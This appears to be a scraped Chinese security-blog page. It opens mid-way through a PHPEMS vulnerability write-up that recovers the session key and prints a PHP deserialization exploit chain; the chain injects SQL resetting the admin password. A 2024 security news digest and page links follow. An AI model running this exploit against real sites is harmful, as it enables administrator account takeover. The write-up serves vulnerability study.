$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1 $key = CS; $info = urldecode(urldecode($info)); $info1=substr($info,64,32); //echo $info1; $ed=strlen($info1);//也就是32 $dc=32; $sessip=':"sessionip";s:9:"127.0.0.1";s:1'; for ($i=0;$i<$ed;$i++) { $p=$i%$dc; $info1[$i]=chr(ord($info1[$i])-ord($sessip[$p])); } echo $info1; //1hqfx6ticwRxtfviTp940vng!yC12345 构造反序列化链子 session.cls.php的__destruct() 关键代码 $sql = $this->pdosql->makeUpdate($data); $this->db->exec($sql); ![](./myMediaFolder/media/image13.png){width="7.333333333333333in" height="2.8976049868766403in"} 这里可以看出分别需要db和pdosql,以此达到反序列化修改数据库密码, 构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec 0x03漏洞复现 这里使用网上师傅的EXP <?php namespace PHPEMS { class session { public function __construct() { $this->sessionid="1111111"; $this->pdosql= new pdosql(); $this->db= new pepdo(); } } class pdosql { private $db; public function __construct() { $this->tablepre = 'x2_user set userpassword="a10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--'; $this->db=new pepdo(); } } class pepdo { private $linkid = 0; } } namespace { define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345'); function encode($info) { $info = serialize($info); $key = CS1; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } $session = new PHPEMSsession(); $array = array("sessionid"=>"123123123", $session); echo serialize($array)."n"; echo(urlencode(encode($array)))."n"; } 实战中我们的ip是可以伪造的 关键代码点 需要先创建pepdo和pdosql pdosql.cls.php的makeUpdate是用来生成sql语句的 $tb_pre = $this->tablepre 所以这个sql语句参数可控 0x04总结 函数是关键,研究下是否能可控这个反序列化的参数值,并且反序列化中能够调用危险函数。
网络安全日报 2024年03月25日
1、Ivanti修复由北约研究人员报告的关键RCE漏洞 https://forums.ivanti.com/s/article/KB-CVE-2023-41724-Remote-Code-Execution-for-Ivanti-Standalone-Sentry?language=en_US Ivanti近日修复了两项关键漏洞CVE-2023-41724和CVE-2023-46808。CVE-2023-41724影响Ivanti Standalone Sentry,这是一款作为设备与激活Sync-enabled邮箱服务器之间网关的设备。该漏洞可以让未认证的攻击者在相同的物理或逻辑网络中执行任意指令。尽管目前尚无客户通过该漏洞被攻陷的报告,Iva 2、Fortinet软件关键漏洞遭野外积极利用 https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/ 研究人员发布了Fortinet公司FortiClient Enterprise Management Server(EMS)软件中一个关键漏洞(CVE-2023-48788,CVSS评分9.3)的概念验证(PoC)利用代码。该漏洞目前在野外被积极利用进行攻击。这个关键漏洞是一个普遍存在的SQL注入问题,位于DAS组件中。该SQL注入漏洞可能允许未认证的攻击者通过 3、豪华游艇经销商遭Rhysida勒索软件攻击 https://www.theregister.com/2024/03/21/luxury_yacht_dealer_rhysida/ 美国豪华游艇经销商MarineMax在本月初遭到了Rhysida勒索软件团伙的网络攻击。该集团宣称对此次攻击负责,并在其网站上发布了声称从MarineMax窃取的数据片段。这些文件主要与账户和财务相关,但文件的具体性质并不清晰。尽管MarineMax在3月10日向证券交易委员会(SEC)披露了网络攻击,并采取了一系列措施来减少业务受到的影响,但他们当时并未提及勒索软件的参与。MarineMax在提交给SEC的8-K表格中声称,受影响的信息环境中并未存储敏感数 4、微软曝光利用纳税申报表的新型网络钓鱼骗局 https://www.microsoft.com/en-us/security/blog/2024/03/20/microsoft-threat-intelligence-unveils-targets-and-innovative-tactics-amidst-tax-season/ 微软最近警告称,在纳税季节,针对个人纳税人和企业的网络钓鱼及恶意软件活动正在升温。这些网络诈骗活动不仅针对新税务人士、最近获得绿卡的移民、自行申报的小企业主以及年长者等特定群体,还使用紧急手段来窃取他们的个人和财务数据。攻击者经常伪装成可信来源,例如雇主、税务机构和支付处理商,发送模糊或不完整的税务文件,创 5、俄黑客组织APT29针对德国政党发起网络攻击 https://www.mandiant.com/resources/blog/apt29-wineloader-german-political-parties 俄罗斯黑客团伙APT29被指控对德国政党进行网络攻击作为其背后莫斯科支持的间谍活动的一部分。安研究人员表示,此次行动是该组织首次针对政治组织。研究人员发布的报告中将这次活动归咎于与俄罗斯外交情报局关联的APT29。该活动自2月底以来活跃,主要通过假装来自德国基督教民主联盟的网络钓鱼邮件进行。攻击者发送的钓鱼电子邮件看起来是来自德国基督教民主联盟的,邀请受害者参加晚宴接待。这些邮件包含了一个伪装成zip文件附件的恶意软件"RootS 6、千万房门面临电子锁漏洞风险 https://unsaflok.com/ 研究人员发现了一系列针对Dormakaba Saflok电子RFID锁的漏洞,这些漏洞被集体命名为Unsaflok,可能允许黑客破解这些流行锁具,打开全球范围内数百万扇门。Saflok电子RFID锁广泛应用于酒店和多户型住宅环境,遍布131个国家的13000个地产,影响了估计超过300万扇门。研究显示,仅需获取任一物业的一张钥匙卡,攻击者即可针对该物业的任何一扇门进行攻击。这张钥匙卡可以是他们自己房间的或者一个过期的从快速结账收集箱中取得的。利用成本不到300美元的RFID读写设备,研究人员可以复制这种钥匙卡来开锁。Dormakaba在2023年1 7、德国警方摧毁暗网市场“复仇者市场” https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2024/Presse2024/240321_PM_Nemesis_Market.html 2024年3月23日,德国联邦刑警局(BKA)和法兰克福打击网络犯罪小组(ZIT)成功摧毁了暗网市场Nemesis Market的基础设施。这次行动在德国和立陶宛执行,阻断了该市场的运作。据德国BKA发布的新闻稿称,Nemesis Market自2021年以来活跃,提供非法药物、窃取数据、信用卡信息以及网络犯罪服务,如勒索软件、钓鱼攻击或DDoS攻击。该市场近期注册用户超过15万,卖 8、SmokeLoader恶意软件针对金融部门发起网络钓鱼攻击 https://scpc.gov.ua/api/files/8e300d33-6257-4d7f-8f72-457224268343 近期,一群以金融动机为驱动的黑客利用SmokeLoader恶意软件,广泛针对乌克兰政府和行政机构的财务部门进行了一系列的网络钓鱼攻击活动。根据研究人员共同跟踪,他们分析了从2023年5月到11月发生的23起网络钓鱼活动。在这些频繁且规模庞大的攻击中,利用诱骗性电子邮件,黑客锁定了政府、防务、电信、零售和金融部门的财务部门。攻击者使用之前泄露的电子邮件地址来构建信任感,邮件主题常关于支付和账单,且包含以前泄露事件中窃取的合法财务文件。虽然试图使电子邮件看起来可信 9、AndroxGh0st恶意软件攻击Laravel应用窃取云凭证 https://blogs.juniper.net/en-us/security/shielding-networks-against-androxgh0st 研究人员近日揭示了一个名为AndroxGh0st的恶意软件,该软件针对使用Laravel框架的应用程序,窃取敏感数据,包括云服务凭证。研究人员表示,AndroxGh0st通过扫描和窃取.env文件中的重要信息,揭露了与AWS和Twilio等服务相关的登录详情。该恶意软件自2022年起就已在野外被检测到,利用者通过它访问Laravel环境文件,窃取包括亚马逊云服务(AWS)在内的各种云服务应用程序的凭证。AndroxGh0st利用已知的 10、Mozilla修复Firefox在Pwn2Own大赛中被利用的零日漏洞 https://www.mozilla.org/en-US/security/advisories/mfsa2024-15/#CVE-2024-29943 Mozilla迅速应对了在2024年温哥华Pwn2Own黑客大赛中被利用的两个Firefox零日漏洞。研究人员在比赛中通过OOB(越界)写操作以及暴露的高风险功能漏洞成功实现了对Mozilla Firefox的沙箱逃逸并执行远程代码。研究人员的这次黑客攻击为他赢得了10万美元和10个“Pwn之王”积分。Firefox安全顾问公布的两个问题涉及的CVE编号分别为CVE-2024-29943和CVE-2024-29944,并指出这两个问题仅影 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页